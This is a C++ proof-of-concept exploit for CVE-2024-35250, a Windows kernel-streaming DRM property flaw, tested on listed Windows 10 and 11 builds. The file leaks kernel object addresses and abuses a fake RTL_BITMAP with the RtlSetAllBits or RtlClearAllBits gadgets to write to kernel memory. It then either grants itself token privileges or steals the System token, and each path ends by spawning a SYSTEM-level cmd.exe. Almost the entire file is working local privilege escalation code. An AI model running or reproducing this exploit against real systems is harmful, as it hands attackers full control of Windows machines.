CVE-2024-35250.cpp

/* 
				PoC Info
--------------------------------------------------------------
Vulnerability:	        CVE-2024-35250
Tested environment:	    Windows 11 22h2 Build 22621
						Windows 10 20h2 Build 19042
                        VMWare Workstation 17 Pro
Weakness:		        CWE-822: Untrusted Pointer Dereference
Known limitations:	    Didn't work in Hyper-V environments
Required privileges:    Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SE_DEBUG_PRIVILEGE 0xc1b4
#define _PREVIOUS_MODE		0xbaba
#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
#include <ks.h>
#include <ksproxy.h>
#include <ksmedia.h>
#include <stdio.h>
#include <SetupAPI.h>
#include <functiondiscovery.h>
#include <mmdeviceapi.h>
#include <stdint.h>
#include <safeint.h>
#include <ntstatus.h>
#include <TlHelp32.h>
#include <winsvc.h>
#include "common.h"
#include <processthreadsapi.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

//
// Get the kernel object pointer for the specific process by it's handle
// 
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int32_t Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
	while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		}

		else
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
		}
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

	done:
	if (pHandleInfo != NULL)
	{
		HeapFree(GetProcessHeap, 0, pHandleInfo);
	}
	return Ret;
}

//
// ALlocate fake bitmap for arbitrary r/w operations
//
void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {

    LPVOID allocatedMemory = VirtualAlloc( baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (allocatedMemory == NULL) 
    {
        printf("[-] AllocateBitmap failed with error: %d\n", GetLastError());
        return NULL;
    }

    printf("[+] Fake RTL_BITMAP allocated at address = %p\n", allocatedMemory);

    return allocatedMemory;
}

UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
    NTSTATUS status;
    ULONG ulBytes = 0;
    PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

    while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
        {
            char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
            if (moduleName != NULL)
            {
                return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            printf("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return 0;
}

DWORD64 leak_gadget_address(LPCSTR GadgetName)
{
	DWORD64 module_base_kernel, rtlSetAllBits_address;
	HMODULE module_base_user;

	module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (!module_base_user)
		goto error;

	rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
	if (!rtlSetAllBits_address) {
		goto error;
	}
	module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
	rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);

	return rtlSetAllBits_address;
error:
    printf("[-] leak_gadget_address failed\n");
	return FALSE;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(void *Dst, void *Src, size_t Size)
{
	NTSTATUS Status = 0;
	PULONG cbNumOfBytesWrite = 0;

	Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status)) 
    {
		return -1;
	}
	return Status;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T size;
	BOOL ret;

	// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));

	InitializeProcThreadAttributeList(NULL, 1, 0, &size);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
		GetProcessHeap(),
		0,
		size
	);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	// Finally, create the process
	ret = CreateProcessA(
		NULL,
		command,
		NULL,
		NULL,
		true,
		EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		reinterpret_cast<LPSTARTUPINFOA>(&si),
		&pi
	);

	if (ret == false) {
		printf("CreateProcessFromHandle failed with error = \n", GetLastError());
		return 3;
	}

	return 0;
}

ULONG GetPidByName(const wchar_t* procname) {
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	ULONG pid;

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (Process32First(snapshot, &entry) == TRUE)
	{
		while (Process32Next(snapshot, &entry) == TRUE)
		{
			if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
			{
				pid = entry.th32ProcessID;
				break;
			}
		}
	}

	CloseHandle(snapshot);
	return pid;
}

int main()
{
	HRESULT hr; 
	HANDLE hDrmDevice = NULL;
    UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
	KSPROPERTY *pInBufProperty = (KSPROPERTY*)InBuffer;
    EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);

    UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };

    KSPROPERTY_SERIALHDR *pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
    PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
    EXPLOIT_DATA1 *pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);

	BOOL res = FALSE;
	NTSTATUS status = 0;

	uint32_t Ret = 0;

    const GUID categories[] = {
        KSCATEGORY_DRM_DESCRAMBLE,
    };
    
    //
    // Get a KS object device with ksproxy.ax API
    //
    for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
    {
        hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);

        if (hr != NOERROR) {
            printf("[-] KsOpenDefaultDevice at index %d failed with error = %x\n", i, hr);
            return hr;
        }

		printf("[+] DRM device handle value = %p\n", hDrmDevice);
    }

#ifdef _SE_DEBUG_PRIVILEGE

	HANDLE hToken;
    uint64_t ktoken_obj = 0;
    res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); 

	if (!res)
	{
		printf("[-] Failed to open current process token\n");
		return res;
	}
    
    res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
    if (res != NULL)
    {
        return -1;
    }

	printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE

	uint64_t Sysproc = 0;
	uint64_t Curproc = 0;
	uint64_t Curthread = 0;
    
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    //
	// Leak System _EPROCESS kernel address
	//
	Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
	if (Ret != NULL)
	{
		return Ret;
	}
	printf("[+] System EPROCESS address: %llx\n", Sysproc);
	
    //
	// Leak Current _KTHREAD kernel address
	//
	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current KTHREAD address: %llx\n", Curthread);
	}

	//
	// Leak Current _EPROCESS kernel address
	//
	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current EPROCESS address: %llx\n", Curproc);
	}
#endif

	//
	// Initialize input buffer
	//
	pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
	pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
	pInBufProperty->Id = 0x0;

	//
	// Initialize output buffer
	//
	pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
    pSerialHdr->Count = 0x1;

    pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
    pSerial->Id = 0x0;                // Should be null
    pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
    pSerial->PropTypeSet.Flags = 0x0; // Should be null
    pSerial->PropTypeSet.Id = 0x45;   // Irrelevant value

    //
    // Intialize fake property data
    //
    uint64_t ntoskrnl_user_base = 0;
    HMODULE outModule = 0;
    UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
    printf("[+] ntoskrnl.exe base address = %llx\n",  ntoskrnlKernelBase);
    pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));

#ifdef _SE_DEBUG_PRIVILEGE
    //
    // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));                                                                                                           
    printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
    //
    // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;  
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); //  KTHREAD.PreviousMode field address 
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits"));  // This gadget will zeroing KTHREAD.PreviousMode field
    printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif

    //
    // Send property request to trigger the vulnerability
    //
	res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);

	if (!res)
	{
		printf("[-] DeviceIoControl failed\n"); // It's ok to see this message if exploit succeded
	}

#ifdef _SE_DEBUG_PRIVILEGE
	
	HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

	if (!hWinLogon) {
		printf("OpenProcess failed with error = 0x%lx\n", GetLastError());
		return FALSE;
	}

	CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");

	return TRUE;
#elif defined _PREVIOUS_MODE
	printf("[!] Leveraging DKOM to achieve LPE\n");
	printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

	uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations

	Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8);

	//
	// Restoring KTHREAD.PreviousMode phase
	//
	Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

	//
	// Spawn the shell with "nt authority\system"
	//
	system("cmd.exe");
#endif

	return 0;
}